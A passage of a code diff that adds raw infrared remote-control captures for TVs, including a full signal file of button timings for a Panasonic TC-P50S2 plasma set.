495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8071 3997 523 503 494 506 491 1509 496 504 493 1507 498 1477 518 1482 523 1478 517 3991 518 507 500 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 507 501 1499 496 505 492 1507 498 1478 517 1483 522 1479 516 3991 518 507 500 501 496 504 493 508 499 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 506 491 1509 496 505 492 1482 523 1478 517 1483 522 1479 516 3991 518 506 491 510 497 503 494 507 490 510 497 1502 493 508 499 502 495 20801 8065 4000 520 506 491 509 499 1501 494 506 491 1483 522 1478 517 1483 522 1478 517 3990 519 506 491 509 499 502 495 506 491 509 499 1501 494 507 500 501 496 20799 8068 4000 520 505 492 508 500 1500 495 506 491 1483 522 1478 517 1483 522 1478 517 3989 520 505 492 508 499 501 496 505 492 507 500 1499 496 505 492 510 498 20796 8071 3995 525 500 497 504 493 1506 499 501 496 1504 491 1484 521 1479 516 1485 520 3986 524 501 496 505 492 509 498 502 495 505 492 1507 498 503 494 507 500 20798 8070 3998 522 504 493 507 501 1499 496 504 493 1506 499 1476 519 1482 523 1477 518 3989 520 504 493 508 499 501 496 504 493 507 501 1499 496 505 492 510 497 20798 8069 4001 519 507 501 500 497 1502 493 508 500 1500 495 1480 525 1475 520 1481 524 3983 516 509 498 503 494 506 491 510 497 503 494 1505 500 501 496 506 491 +# +name: Exit +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4005 525 501 496 504 493 1506 499 502 495 1479 526 1474 521 1479 516 1485 520 3986 523 1476 519 1481 524 1476 519 1481 524 1475 520 506 491 509 499 503 494 16806 8072 3995 525 501 496 504 493 1482 523 502 495 1479 516 1484 521 1478 517 1484 521 3985 524 1475 520 1480 525 1475 520 1480 525 1475 520 505 492 509 499 502 495 16806 8071 3996 524 503 494 506 491 1484 521 504 493 1482 523 1476 519 1481 524 1477 518 3989 520 1479 516 1484 521 1479 516 1484 521 1479 516 509 499 503 494 507 490 16812 8065 4005 525 500 497 503 494 1506 499 501 496 1479 526 1474 521 1480 525 1476 519 3988 521 1478 517 1483 522 1478 517 1483 522 1479 516 509 499 502 495 506 491 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8070 3999 521 505 492 509 498 1501 494 506 491 1509 496 1479 526 1499 496 1506 499 3983 516 1510 495 505 492 1508 497 503 494 1506 499 502 495 506 491 511 497 18806 8065 4005 525 501 496 504 493 1507 498 503 494 1480 525 1475 520 1481 524 1477 518 3989 520 1481 524 501 496 1479 526 500 497 1478 517 510 497 503 494 508 499 18802 8070 4001 519 507 500 500 497 1503 492 508 499 1500 495 1480 525 1500 495 1506 499 3983 516 1484 521 504 493 1507 498 503 494 1506 499 501 496 505 492 510 498 18802 8070 4000 520 505 492 508 499 1501 494 507 501 1499 496 1504 501 1499 496 1506 499 3983 516 1509 496 505 492 1508 497 503 494 1506 499 502 495 506 491 510 497 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4001 519 507 501 499 498 1502 493 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 510 498 503 494 1506 499 501 496 1504 501 500 497 503 494 508 499 19801 8069 4000 520 506 491 509 499 1502 493 508 499 1499 496 1504 501 1499 496 1480 525 3982 517 509 499 502 495 1504 501 499 498 1502 493 509 498 502 495 506 491 19811 8069 3999 521 505 492 508 499 1500 495 506 491 1483 522 1478 517 1484 521 1479 516 3991 518 507 500 501 496 1503 492 509 498 1477 518 508 499 501 496 505 492 +# +name: Set_ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4003 517 509 498 502 495 1504 501 499 498 1501 494 1481 524 1501 494 1482 523 3983 516 1508 497 1480 515 510 497 503 494 506 491 1509 496 504 493 509 498 18799 8062 4005 525 501 496 504 493 1507 498 503 494 1505 500 1499 496 1480 525 1476 519 3987 522 1477 518 1483 522 503 494 506 491 509 499 1502 493 508 499 502 495 18806 8066 4003 517 509 498 502 495 1505 500 500 497 1503 492 1508 497 1479 516 1486 519 3987 522 1477 518 1483 522 503 494 506 491 509 498 1501 494 508 499 502 495 18804 8067 4001 519 508 500 501 496 1503 492 509 498 1501 494 1482 523 1477 518 1484 521 3985 524 1476 519 1481 524 502 495 505 492 508 499 1500 495 506 491 511 496 +# +name: - +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 +# +name: + +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8062 4004 526 500 497 503 494 1505 500 501 496 1503 491 1484 521 1504 501 1500 495 3988 521 505 492 508 499 1500 495 506 491 1508 497 1479 516 510 497 504 493 18805 8064 4002 517 509 498 502 495 1504 501 500 497 1502 493 1482 523 1478 516 1484 521 3985 524 502 495 505 492 1507 498 503 494 1505 500 1475 519 506 491 511 496 18801 8068 4000 519 507 500 500 497 1502 493 508 499 1500 495 1505 500 1476 518 1482 523 3984 525 500 497 503 494 1506 499 501 496 1504 501 1475 519 506 491 510 497 18802 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1481 524 1475 520 1481 524 3981 518 508 499 500 497 1503 491 508 499 1500 495 1482 523 501 496 506 491 18807 8062 4005 525 501 496 504 493 1507 498 502 495 1479 526 1475 519 1480 525 1476 518 3989 520 505 492 508 499 1500 495 506 491 1508 497 1479 516 509 498 503 494 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8067 4001 518 507 500 499 498 1502 493 508 499 1501 494 1505 500 1500 495 1507 498 3984 525 499 498 1503 492 509 498 501 496 1505 500 500 497 504 493 508 499 19799 8068 4001 518 507 501 500 497 1503 492 509 498 1501 494 1506 499 1501 493 1507 498 3984 525 500 497 1503 492 509 498 502 495 1506 499 502 495 505 492 509 498 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8071 3995 524 501 496 504 493 1507 498 502 495 1504 501 1499 495 1504 501 1500 494 3986 523 503 494 506 491 509 498 1501 493 507 500 500 497 504 493 508 499 20792 8070 3996 523 502 495 505 492 1507 498 503 494 1504 501 1498 496 1503 491 1509 496 3985 524 501 496 505 492 508 499 1500 494 506 491 509 498 502 495 506 491 20803 8061 4004 515 510 497 502 495 1505 500 500 497 1501 493 1506 499 1500 494 1506 499 3982 516 508 499 501 496 504 493 1506 499 502 495 505 492 508 499 502 495 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1476 518 1482 523 1477 517 3988 521 1480 525 500 497 503 494 1505 500 501 496 505 492 509 498 503 494 19801 8065 4002 517 508 499 501 496 1504 501 499 498 1501 493 1506 499 1501 494 1507 498 3983 515 1509 496 505 492 508 499 1501 493 507 500 500 497 504 493 508 499 19798 8068 3999 520 505 492 508 499 1501 494 506 491 1508 497 1502 493 1507 498 1502 493 3989 520 1504 501 500 497 503 494 1506 499 501 496 505 492 508 499 502 495 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4004 515 510 497 503 494 1505 500 501 496 1504 490 1509 496 1504 491 1510 495 3987 522 503 494 1506 499 502 495 1505 500 501 496 504 493 508 499 502 495 19804 8063 4005 525 501 496 504 493 1507 498 503 494 1506 499 1500 495 1505 500 1501 494 3989 520 505 492 1508 497 503 494 1507 498 503 494 506 491 510 497 504 493 19804 8072 3996 523 503 494 506 491 1509 496 505 492 1507 498 1502 493 1507 498 1503 492 3990 519 505 492 1508 497 504 493 1507 498 503 494 506 491 510 497 504 493 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4002 517 508 499 501 496 1504 501 499 498 1502 493 1507 498 1501 494 1507 498 3983 516 1509 496 1504 501 499 498 1502 493 508 499 502 495 505 492 509 498 18798 8071 3997 522 503 494 505 492 1508 497 504 493 1507 498 1501 494 1507 498 1503 492 3989 520 1504 501 1499 495 505 492 1508 497 503 494 507 500 500 497 504 493 18804 8065 4001 518 508 499 500 497 1503 492 509 498 1502 492 1507 498 1501 494 1508 497 3984 525 1499 495 1505 500 500 497 1503 492 509 498 502 495 506 491 510 497 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4000 520 506 491 509 498 1502 493 507 500 1499 496 1504 491 1508 497 1504 501 3980 518 506 491 509 498 1501 494 1507 498 503 494 506 491 509 498 503 494 19801 8065 4003 516 509 498 502 495 1505 500 500 497 1503 492 1507 498 1502 493 1508 497 3985 524 501 496 504 493 1507 498 1502 493 508 499 501 496 505 492 509 498 19798 8069 3998 521 504 493 507 500 1499 495 505 492 1507 498 1502 493 1507 498 1503 492 3989 520 505 492 508 499 1500 494 1506 499 502 495 506 491 509 498 503 494 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8060 4002 517 507 500 500 497 1502 493 507 500 1498 497 1502 493 1507 498 1502 493 3987 522 1502 493 507 500 1499 496 1504 491 510 497 503 494 506 491 510 497 18797 8061 4003 516 508 499 501 496 1503 492 509 498 1501 494 1505 500 1500 494 1506 499 3983 515 1509 496 504 493 1506 499 1501 494 507 500 501 496 504 493 508 499 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 3999 520 506 491 509 498 1501 494 506 491 1509 496 1503 491 1508 497 1504 501 3980 518 506 491 1509 496 1503 492 1508 497 504 493 507 500 500 497 505 492 18805 8064 4002 517 508 499 501 496 1504 491 509 498 1501 494 1506 499 1500 494 1507 498 3983 516 509 498 1501 494 1506 499 1501 494 507 500 500 497 504 493 508 499 18796 8062 4002 518 508 499 501 496 1503 492 509 498 1501 494 1506 499 1500 495 1506 499 3982 517 507 500 1499 496 1504 491 1509 496 504 493 508 499 501 496 505 492 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3995 524 500 497 503 494 1505 500 500 497 1502 493 1506 499 1501 494 1506 499 3982 517 1506 499 1500 495 1505 500 1499 496 505 492 509 498 502 495 505 492 17804 8068 3999 520 505 492 508 499 1501 494 506 491 1509 496 1503 492 1508 497 1504 501 3980 518 1506 499 1501 494 1505 500 1501 493 507 500 500 497 504 493 508 499 17799 8062 4005 525 501 496 504 493 1507 498 502 495 1504 501 1499 496 1503 492 1509 496 3985 524 1500 495 1505 500 1500 495 1505 500 501 496 505 492 509 498 503 494 17804 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1501 494 1505 500 1501 494 3987 522 1477 517 1482 523 1476 518 1507 498 503 494 507 490 510 497 504 493 17807 8064 4003 516 510 497 503 494 1506 499 501 496 1504 490 1485 520 1480 525 1476 518 3987 522 1478 516 1484 521 1479 516 1484 521 504 493 508 499 501 496 506 491 17805 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1480 525 1474 520 1481 524 3980 519 1480 525 1475 519 1479 515 1485 520 505 492 508 499 501 496 505 492 17806 8066 4001 518 507 500 500 497 1502 493 507 500 1499 495 1480 525 1474 520 1480 525 3980 518 1480 525 1475 519 1480 525 1475 519 505 492 509 498 502 495 507 490 17806 8065 4001 518 507 500 500 497 1503 492 508 499 1500 495 1505 500 1474 520 1480 525 3981 517 1482 523 1476 518 1507 498 1502 492 509 498 503 494 506 491 511 496 17805 8067 4002 517 508 499 501 496 1504 501 499 498 1502 492 1507 498 1501 494 1507 498 3984 525 1499 495 1504 501 1499 496 1504 501 500 497 503 494 507 500 501 496 17802 8071 3996 524 502 495 505 492 1508 497 503 494 1505 500 1500 495 1505 500 1501 494 3987 522 1502 492 1507 498 1502 493 1507 498 503 494 507 500 500 497 504 493 17806 8065 4001 518 507 500 500 497 1502 493 508 499 1500 495 1505 500 1499 495 1506 499 3982 516 1508 497 1503 492 1508 497 1504 490 510 497 503 494 507 500 501 496 17806 8066 4004 515 510 497 503 494 1506 499 502 495 1504 501 1499 495 1504 501 1500 495 3987 522 1502 493 1508 497 1503 492 1508 497 504 493 507 500 500 497 505 492 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4001 519 507 500 499 498 1502 493 507 500 1499 495 1503 492 1508 497 1503 492 3990 519 506 491 510 497 503 494 506 491 1508 497 504 493 507 500 501 496 20799 8065 4001 519 507 500 499 498 1502 493 507 500 1500 495 1505 500 1499 496 1506 499 3983 516 509 498 502 495 505 492 508 499 1501 494 506 491 510 497 504 493 20801 8064 4004 515 509 498 502 495 1505 500 500 497 1502 493 1506 499 1501 494 1507 498 3983 516 510 497 503 494 507 490 510 497 1502 493 508 499 501 496 505 492 20803 8071 3994 525 500 497 504 493 1506 499 502 495 1504 501 1498 497 1503 492 1509 496 3986 523 502 495 505 492 509 498 502 495 1504 501 500 497 503 494 508 499 +# +name: Ent +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4002 517 508 499 500 497 1503 492 508 499 1500 494 1504 501 1498 497 1504 501 3980 519 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 4000 519 506 491 509 498 1501 494 506 491 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18803 8066 4000 519 506 491 509 498 1501 494 507 500 1499 496 1503 492 1508 497 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 3999 520 505 492 508 499 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 diff --git a/assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir b/assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir new file mode 100644 index 000000000..d3bd431ee --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 +# +name: CC +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 456 423 450 419 453 416 457 422 451 418 454 415 1331 418 455 424 1321 417 1329 420 1325 424 450 419 454 415 1330 419 1327 422 452 417 1328 421 1325 424 1323 415 457 422 451 418 455 424 +# +name: SAP +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 415 1331 418 428 451 448 421 452 417 456 423 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 451 418 454 425 448 421 1325 424 1322 416 456 423 450 419 1327 422 1324 425 448 421 452 417 1329 420 1326 423 450 419 454 415 1331 418 1328 421 452 417 1302 447 +# +name: Input +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 415 1304 445 455 424 449 420 452 417 456 423 450 419 454 415 457 422 451 418 455 424 448 421 452 417 1329 420 426 443 457 422 450 419 427 452 421 448 452 417 456 423 449 420 453 416 1330 419 454 415 458 421 451 418 455 424 449 420 452 417 429 450 450 419 1326 422 451 418 1328 421 452 417 456 423 449 420 453 416 457 422 1296 442 458 421 1324 425 421 448 452 417 456 423 450 419 1299 450 +# +name: Viera_Link +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3471 1768 415 458 421 1324 424 449 420 453 416 456 423 450 419 454 415 458 421 451 418 455 424 448 421 452 417 456 423 1323 415 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 424 1321 417 456 423 449 420 1326 422 450 419 454 425 448 421 452 417 1329 420 453 416 457 422 451 418 1328 420 1325 424 449 420 1326 422 450 419 454 425 448 421 1325 423 1322 416 1303 445 454 425 448 421 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1757 416 457 422 1324 425 420 449 451 418 455 424 421 448 452 417 456 423 450 419 453 416 457 422 451 418 455 424 1294 444 428 451 422 447 426 443 457 422 451 418 455 424 448 421 452 417 456 423 1322 416 457 422 423 446 454 425 448 421 452 417 456 423 449 420 453 416 457 422 1324 424 421 448 452 417 1329 420 426 443 1330 419 455 424 421 448 1325 423 449 420 453 416 1330 418 454 425 1294 444 1302 446 +# +name: Viera_Tools +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1764 419 454 415 1331 418 455 424 421 448 425 444 456 423 450 419 454 415 457 422 451 418 455 424 449 420 452 417 1329 419 453 416 430 449 424 445 455 424 449 420 452 417 456 423 450 419 454 415 1303 445 455 424 449 420 452 417 456 423 450 419 454 415 458 421 451 418 1301 447 1298 450 1323 425 1294 444 428 451 1295 443 1303 445 1328 420 1325 423 1295 443 1331 417 1301 448 425 444 1302 446 1300 448 451 418 +# +name: SD_Card +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1763 420 452 417 1302 446 454 415 458 421 451 418 455 424 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1301 447 453 416 430 449 450 419 427 452 448 421 452 417 456 423 450 419 453 416 1330 418 1301 447 425 444 456 423 1296 442 458 421 451 418 455 424 449 420 1326 422 1324 424 448 421 1325 423 450 419 1327 421 424 445 1301 447 453 416 1330 418 454 425 448 421 452 417 1329 419 453 416 458 421 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1738 445 427 452 1321 417 456 423 450 419 426 443 458 421 451 418 455 424 449 420 452 417 456 423 450 419 454 415 1304 444 455 424 422 447 425 444 457 422 450 419 454 425 448 421 452 417 456 423 1322 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 425 1295 443 1303 445 454 425 448 421 1297 451 422 447 453 416 1303 445 1300 449 1298 450 449 420 453 416 1303 445 1301 447 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 456 423 1296 442 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 456 423 1323 415 458 421 451 418 455 424 449 420 453 416 456 423 450 419 454 415 458 421 1325 423 449 420 453 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 1327 421 452 417 1301 447 453 416 457 422 1324 424 448 421 452 417 1329 419 454 415 1331 417 455 424 449 420 1326 422 1324 424 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 425 1321 417 456 423 449 420 453 416 457 422 451 418 455 424 449 420 453 416 456 423 450 419 454 425 1293 445 456 423 449 420 453 416 457 422 451 418 455 424 449 420 452 417 456 423 1323 425 447 422 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1294 444 1302 446 1300 448 1298 450 449 420 453 416 1330 418 427 452 1322 416 1302 446 1327 421 1298 450 449 420 426 443 1330 418 1301 447 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3483 1729 454 420 449 1297 451 422 447 426 443 430 449 423 446 428 451 421 448 425 444 429 450 423 446 427 452 421 448 1298 450 423 446 427 452 421 448 424 445 429 450 422 447 426 453 420 501 372 507 1239 447 426 443 430 449 424 445 428 503 370 447 425 444 430 449 423 446 1301 447 1298 450 423 446 1300 448 425 444 429 450 1296 452 420 449 1298 450 1295 443 430 449 1297 451 421 448 425 444 1302 446 1300 448 +# +name: OK +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 1329 419 454 415 458 421 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1322 416 456 423 450 419 454 425 448 421 452 417 429 450 449 420 453 416 1331 417 455 424 449 420 1326 422 451 418 454 425 1321 417 456 423 1323 425 448 421 452 417 1329 419 453 416 457 422 1324 424 1322 416 +# +name: Submenu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1763 420 453 416 1303 445 455 424 421 448 425 444 457 422 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 428 451 449 420 453 416 457 422 451 418 455 424 449 420 426 443 457 422 1324 424 1322 416 457 422 450 419 1328 420 425 444 456 423 450 419 454 425 1321 417 1302 446 1299 449 451 418 455 424 1322 416 430 449 1296 452 448 421 1325 423 1323 425 1321 417 456 423 1323 425 420 449 424 445 +# +name: Return +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 456 423 449 420 454 415 458 421 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 457 422 450 419 455 424 1321 417 456 423 1323 425 448 421 1325 423 1323 425 448 421 452 417 1329 419 454 415 1331 417 456 423 1295 443 458 421 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1761 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 455 424 1322 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 448 421 452 417 457 422 450 419 1328 420 1325 423 1323 425 448 421 452 417 456 423 450 419 454 415 1331 417 1329 419 1327 421 1297 451 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1740 443 456 423 1323 425 448 421 452 417 456 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1329 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 454 425 448 421 452 417 1329 419 1327 421 1325 423 450 419 1327 421 452 417 456 423 450 419 1327 421 1325 423 1323 415 1304 444 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 429 450 1324 424 421 448 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 1326 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 454 415 1331 417 456 423 450 419 454 425 420 449 452 417 429 450 450 419 454 425 1321 417 1329 419 454 425 448 421 1326 422 1296 452 1322 416 457 422 1324 424 1322 416 430 449 451 418 1329 419 1300 448 1298 450 1296 452 74416 3475 1737 446 454 425 1321 417 456 423 450 419 427 452 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 421 448 453 416 457 422 451 418 455 424 448 421 453 416 457 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 1327 421 1325 423 450 419 454 425 1294 444 1302 446 1300 448 452 417 1329 419 1300 448 452 417 429 450 1296 452 1321 417 1329 419 1300 448 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1737 445 455 424 1295 443 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1298 450 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1303 445 455 424 449 420 453 416 457 422 451 418 456 423 449 420 454 415 458 421 1324 424 449 420 454 415 1331 417 1301 447 1299 449 452 417 456 423 1323 425 448 421 453 416 1330 418 1300 448 1326 422 1296 452 +# +name: Vol_Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 +# +name: Vol_Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 +# +name: Ch_Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 +# +name: Ch_Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 +# +name: Format +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1330 418 455 424 449 420 453 416 457 422 424 445 455 424 449 420 454 414 458 421 452 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1301 447 453 416 458 421 1325 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1326 422 1297 451 1323 415 431 448 1325 423 1323 425 448 421 1326 422 451 418 